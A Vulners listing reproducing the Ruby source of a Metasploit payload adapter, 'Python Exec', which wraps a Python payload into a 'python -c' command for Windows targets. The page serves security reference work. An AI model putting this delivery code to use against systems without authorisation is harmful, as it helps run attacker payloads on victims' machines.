Lucene search
K

Python Exec, Python Pingback, Bind TCP (via python)

🗓️ 24 Jan 2023 19:51:36Reported by Spencer McIntyre, asoto-r7Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 119 Views

Execute Python payload from a command on Window

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

module MetasploitModule
  include Msf::Payload::Adapter

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Python Exec',
        'Description' => 'Execute a Python payload from a command',
        'Author' => 'Spencer McIntyre',
        'Platform' => 'win',
        'Arch' => ARCH_CMD,
        'License' => MSF_LICENSE,
        'AdaptedArch' => ARCH_PYTHON,
        'AdaptedPlatform' => 'python',
        'RequiredCmd' => 'python'
      )
    )
    register_advanced_options(
      [
        OptString.new('PythonPath', [true, 'The path to the Python executable', 'python'])
      ]
    )
  end

  def compatible?(mod)
    # size is not unlimited due to the standard command length limit, the final size depends on the options that are
    # configured but 3,000 is in a good range (can go up to 4,000 with default settings at this time)
    if mod.type == Msf::MODULE_PAYLOAD && (mod.class.const_defined?(:CachedSize) && mod.class::CachedSize != :dynamic) && (mod.class::CachedSize >= 3_000)
      return false
    end

    super
  end

  def generate
    payload = super

    if payload.include?("\n")
      payload = Msf::Payload::Python.create_exec_stub(payload)
    end

    "#{datastore['PythonPath']} -c \"#{payload}\""
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Jul 2026 19:05Current
7High risk
Vulners AI Score7
119